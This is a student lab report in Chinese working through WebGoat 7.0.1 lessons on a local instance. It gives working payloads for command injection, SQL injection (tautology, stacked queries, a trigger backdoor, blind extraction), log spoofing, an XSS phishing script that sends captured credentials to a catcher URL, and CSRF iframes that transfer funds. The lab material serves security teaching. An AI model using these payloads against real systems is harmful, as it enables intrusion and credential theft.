Exp9 Web安全基础

目录


一、基础问题

1、SQL注入攻击原理,如何防御。

  • 原理:SQL注入指的是发生在web应用对后台数据库查询语句处理存在的安全漏洞。

  • 简单地说,就是在输入字符串中嵌入SQL指令,在设计程序中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认为正常的SQL指令,在数据库中执行,因此可以对后台数据库进行查看等工作,甚至破坏后台数据库造成严重后果。

  • 防御:增加对于特殊字符串的检查,即检查非法字符串的输入;使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤等。

2、XSS攻击的原理,如何防御。

  • 原理:XSS即跨站脚本攻击,它允许恶意使用者将程序代码注入到网页上,其他使用者在浏览网页时就会受到不同程度的影响。这类攻击一般包含了HTML语言以及目标主机使用的脚本语言。

  • 防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出等。

3、CSRF攻击原理,如何防御。

  • 原理:CSRF即跨站伪造请求,它属于跨站脚本漏洞的一种衍生。其基本原理是:攻击者利用XSS的注入方式注入一段脚本,当受害者点击浏览器运行该脚本时,脚本伪造受害者发送了一个合法请求。

  • 防御:通过referer、token或者验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;避免全站通用的cookie,严格设置cookie的域等。

返回目录

二、实验内容

实验前准备:jdk与webgoat的安装

1、由于我的kali中没有安装jdk,所以首先去oracle官网进行下载。(注意:这里我下载的jdk版本为1.8,可与7.0.1的webgoat匹配。版本不匹配后续就会报错!!!并且kali中的openjdk并不是所对应需要的jdk!!!)

2、按照我在网上找到的教程,先进行jdk的安装与配置。

3、下载webgoat-container-7.0.1-war-exec.jar

4、运行WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar

5、当看到 Starting ProtocolHandler ["http-bio-8080"]这一条消息之后,即可开始后续的实验。

6、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,下方已经给出两组默认的用户名和密码:

7、登陆成功后,可在网页左侧挑选想要进行的课程。

返回目录

实验点一:SQL

(一)命令注入(Command Injection)

  • 原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。

  • 目标:能够在目标主机上执行任何系统命令

  • 步骤

    • 右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"

  • 点击View,攻击成功:

  • 与正常的结果相对比,可知:遭到Command Injection攻击的网页在返回正常的结果之外还被输入了shell指令而执行了netstat -an命令并返回了结果。

返回目录

(二)数字型注入(Numeric SQL Injection)

  • 原理:在station字段中注入特征字符,能组合成新的SQL语句。

    SELECT * FROM weather_data WHERE station = [station]

  • 目标:下面的表单允许用户查看天气数据。请通过注入 SQL 字符串的方式查看所有的天气数据。

  • 步骤

    • 右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

  • 点击Go!,攻击成功,显示所有城市的天气情况:

返回目录

(三)日志欺骗(Log Spoofing)

  • 原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。

  • 目标:灰色区域代表在Web服务器的日志中的记录的内容。我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”。升级我们的攻击,例如:在日志文件中插入脚本。

  • 步骤

    • 本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名:webgoat Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行:

  • 这样咱们可以往该应用中注入回车(0D%)和换行符(%0A)。在 username中填入webgoat%0d%0aLogin Succeeded for username: admin,这样就完成了该课程:

返回目录

(四)LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection)

  • 目标:使用 SQL 注入绕过认证

  • 步骤

    • 由于网页的html代码中,给password的框限定了最大长度为8,我将其修改至20。否则要注入的永真式长度大于最大长度将会注入失败。

  • 以用户Neville登录,还是以永真式的形式输入密码Smith' or 1=1 --:

  • 攻击成功,得到所有人员列表:

返回目录

(五)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)

  • 目标:执行SQL注入绕过认证; 该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户, 浏览其BOSS的账户信息。

  • 步骤

    • 首先使用用户名Larry和密码larry登录,浏览员工信息的按钮是ViewProfile

  • 在多行文本框中被选中的员工Larry Stooge(employee)上右键审查网页元素,可以看到此处是用员工ID作为索引来传送数据的,感觉这里的数据库应该是以员工ID作为索引,返回的是每次查询到的第一条数据。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个咱们应该在员工ID:101后面给他加上这么一些东西进行SQL注入排序,即:

101 or 1=1 order by salary desc

其中desc表示使用降序排列。

  • 再次点击ViewProfile,即可获取老板的信息。

  • 点击还可以修改boss的信息。

返回目录

(六)字符串注入(String SQL Injection)

  • 原理:基于以下查询语句构造自己的SQL注入字符串。

    SELECT * FROM user_data WHERE last_name = '?'

  • 目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过SQL注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。

  • 步骤

    • 正常查询结果应该只有员工Smith的信息:

  • 通过分析可知:将''提前闭合,插入永真式然后注释掉后面的内容就可以了,所以输入Smith' or 1=1 --即可完成本课程内容。注入成功后,便可看到所有员工的信息:

返回目录

(七)数据库后门(Database Backdoors)

  • 原理:数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。举个例子:攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址。

  • 目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于WebGoat使用的是MySQL数据库,不支持触发器,所以该课程不会真正完成。

    我们的Login ID是101.

  • 步骤

    • 输入101,得到该用户的信息:

  • 输入注入语句101; update employee set salary=10000(由于要执行两个语句,中间需要用分号分隔):

  • 使用以下查询条件,添加触发器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid,便可看到攻击成功:

返回目录

(八)数字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。

  • 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。

    我们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int型。输入找到的数值并提交,通过本课程。

  • 步骤

    • 本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:

      SELECT * FROM user_data WHERE userid=accountNumber;

  • 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。例如下面两个查询方式:

101 AND 1=1

101 AND 1=2

  • 在第一条语句中,两个条件都成立,所以页面返回帐号有效。

  • 而第二条则返回帐号无效。现在可以针对查询语句的后半部分构造复杂语句。

  • 下面的语句可以告诉我们PIN数值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

  • 页面提示帐号无效,说明PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364。

返回目录

(九)字符串型盲注入(Blind String SQL Injection)

  • 原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。

  • 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。

    我们的目标是找到pins表中cc_number字段值为4321432143214321 的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程。

  • 步骤

    • 本节课程非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节,如下:

      101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );

  • 经过多次测试(比较 0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符:

      `101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );`
  • 最终,判断出pin字段的值为:Jill。提交该值,通过本节课程:

返回目录

实验点二:XSS

(一)使用 XSS 钓鱼(Phishing with XSS)

  • 原理:如果有权限操作页面源代码,那么HTML文档的内容是可以被篡改的。

  • 目标:创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

  • 步骤

    • 利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,我们需要结合起来使用:

      • 受害人填写一个表格;

      • 以读取脚本的形式,将收集到的信息发送给攻击者。

    • 一个带用户名和密码输入框的表格如下:

    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br>
    Enter Username:<br><input type="text" id="user" name="user"><br>
    Enter Password:<br><input type="password" name = "pass"><br>
    </form><br><br><HR>
  • 搜索这段代码,就能看到页面中增加了一个表单:

  • 下面这段脚本语言的代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat:

    <script>
    function hack()
    {
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
  • 将以上两段代码合并,搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们:

返回目录

(二)存储型XSS攻击(Stored XSS Attacks)

  • 原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

  • 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。

  • 步骤:在title中任意输入字符,留言板中输入<script>alert("Ha Ha Ha");</script>,即可攻击成功。

返回目录

(三)反射型XSS攻击(Reflected XSS Attacks)

  • 目标:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。

  • 步骤:输入代码<script>alert("You're an idiot!");</script>,点击purse的同时页面就给出了反馈:

返回目录

实验点三:CSRF

绕过 CSRF 确认(CSRF Prompt By‐Pass)

  • 原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。

  • 目标:与CSRF课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框。

  • 步骤

    • 查看页面右侧Parameters中的src和menu值分别为280和900:

  • 并在title框中输入任意内容,message框中输入代码:

    ```
    <iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
    ```
  • 在Message List中生成以Title命名的链接,点击进入后,攻击成功

返回目录

三、实验中遇到的问题及解决方案

安装webgoat时碰到登录成功后却无法显示教程的问题?

解决方法:原因是jdk与webgoat版本不匹配,或者是jdk未安装(注意:openjdk不是这次实验中所要用的jdk,二者不一样!!!),具体教程,见我实验前准备那里的描述。

返回目录

四、实验总结

  • 本次实验整体还比较顺利,感觉这次的这种实验形式我能学到更多,在webgoat网页左侧的各种课程中,可以根据它给的solution来具体学习原理与方法,并根据它所写的步骤来进行实验,还有hints(提示),并且在你并未注入成功时,有红字去提示原因,成功也会有提示。
  • 学到很多种类的注入,比起当初只知道那种普通的永真式的注入语句,现在掌握的方法更加多样。

返回目录

2018-2019-2 (内附jdk与webgoat完整安装教程)《网络对抗技术》Exp9 Web安全基础 Week13 20165233的更多相关文章

  1. JDK+Tomcat+Zookeeper+DubboAdmin安装教程

    JDK+Tomcat+Zookeeper+DubboAdmin安装教程 1. 安装内容: JDK 1.8.131 Tomcat 7.0.77 Zookeeper 3.4.9 Dubbo admin 2 ...

  2. 2018-2019-2 《网络对抗技术》Exp9 WebGoat 20165326

    Web安全基础 jar包,密码:9huw 实验问题回答 SQL注入攻击原理,如何防御 原理:恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对未对插入的SQL语句进行过滤,导致 ...

  3. 2018—2019—2 20165239《网络对抗技术》Exp7 网络欺诈防范

    一.原理与实践说明 1.实践目标 本实践的目标是:理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法. 2.实践内容概述 简单应用SET工具建立冒名网站 (1分) ettercap DNS ...

  4. deepin下jdk和tomcat的安装教程

    在deepin上安装java是真的心累啊,照着网上的教程弄,结果一团糟.好不容易折腾成功了,记录下来. 1.下载jdk 首先我们要知道,用sudo 类似命令下载的jdk,是open的jdk,是开源的, ...

  5. JDK的下载及安装教程图解(超详细哦~)

    一.本人电脑系统介绍及JDK下载途径 1.先说明一下我的电脑为win10系统,64位操作系统~ 2.我选择下载的JDK版本为1.8版本.给大家来两个下载渠道,方便大家的下载~ JDK官网:https: ...

  6. jdk的下载与安装教程

    最近在学逆向,就是要反编译人家的java代码,在这之前要先安装环境,下面是下载和安装JDK的教程: 1.JDK下载地址: http://www.oracle.com/technetwork/java/ ...

  7. 2018—2019-- 2网络对抗技术20165239Exp信息搜集 漏洞扫描

    一.实验内容 二.实验步骤 1.各种搜索技巧的应用 2.DNS IP注册信息的查询 3.基本的扫描技术 主机发现 端口扫描 OS及服务版本探测 具体服务的查点 4.漏洞扫描 三.实验中遇到的问题 四. ...

  8. 2018——2019 20165239Exp9 Web安全基础

    Exp9 Web安全基础 一:基础问题回答 (1)SQL注入攻击原理,如何防御 •原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语 ...

  9. .NET Reflector 7.6.1.824 Edition .NET程序反编译神器(附插件安装教程2012-10-13更新) 完全破解+使用教程

    原文来自VAllen cnblogs 一.使用教程1.解压后,双击Reflector.exe,如果有选择默认版本的.Net Framework,根据需要选择即可.你选择的版本不同则出现的默认程序集也不 ...

随机推荐

  1. MD 使用 i5ting_toc 转换成 HTML

    MD 使用 i5ting_toc 转换成 HTML 本文作者:天析 作者邮箱:2200475850@qq.com 发布时间: Wed, 10 Jul 2019 13:59:00 +0800 前言 md ...

  2. MySQL基础篇

    数据库基础知识 以MySQL为基础 数据库事务 :数据库中一组原子性的SQL操作,彼此状态一致.具有ACID特性. 事务 ACID 特性: 原子性:数据库事务是一个整体,其中的SQL操作要么全部提交成 ...

  3. OpenStack kilo版(8) 部署cinder

    直接将cinder服务和块设备都部署在controller节点上 在controller节点添加一块100G的块设备/dev/sdb 配置数据库 (root@localhost) [(none)]&g ...

  4. String.getBytes()方法中的中文编码问题

    得到一个操作系统默认的编码格式的字节数组.这表示在不同的操作系统下,返回的东西不一样! byte[] a= "中".getBytes() String.getBytes(Strin ...

  5. 异常-No suppression parameter found for notification

    1 详细异常 Command Start is not currently available for execution. 关闭 kafka gateway 无法启动 java.lang.NullP ...

  6. 读取xml时,报错:xml.etree.ElementTree.ParseError: no element found: line 20, column 9

    读取xml时,出现报错:xml.etree.ElementTree.ParseError: no element found: line 20, column 9 原因是xml文件格式有问题,可以检查 ...

  7. SpringBoot之多数据源动态切换数据源

    原文:https://www.jianshu.com/p/cac4759b2684 实现 1.建库建表 首先,我们在本地新建三个数据库名分别为master,slave1,slave2,我们的目前就是写 ...

  8. linux网络编程之socket编程(五)

    今天继续学习socket网络编程,最近北京阴雨连绵,降温明显,感觉是要立马转入冬季的节奏,天冷晚上得注意多盖点被子哦,言归正传,进入正题: 对于之前写的回射客户/服务器端的程序中,我们是用的read和 ...

  9. 50道sql练习题及答案与详细分析

    数据表介绍 --1.学生表 Student(SId,Sname,Sage,Ssex) --SId 学生编号,Sname 学生姓名,Sage 出生年月,Ssex 学生性别 --2.课程表 Course( ...

  10. NodeJS开发博客(三) 数据的保存

    什么是cookie 存储在浏览器的一段字符串(最大5k) 跨域不共享 格式如 k1=v1 k2=v2 因此可以存储结构化数据 每次发送http请求,会将请求域的cookie一起发送给server se ...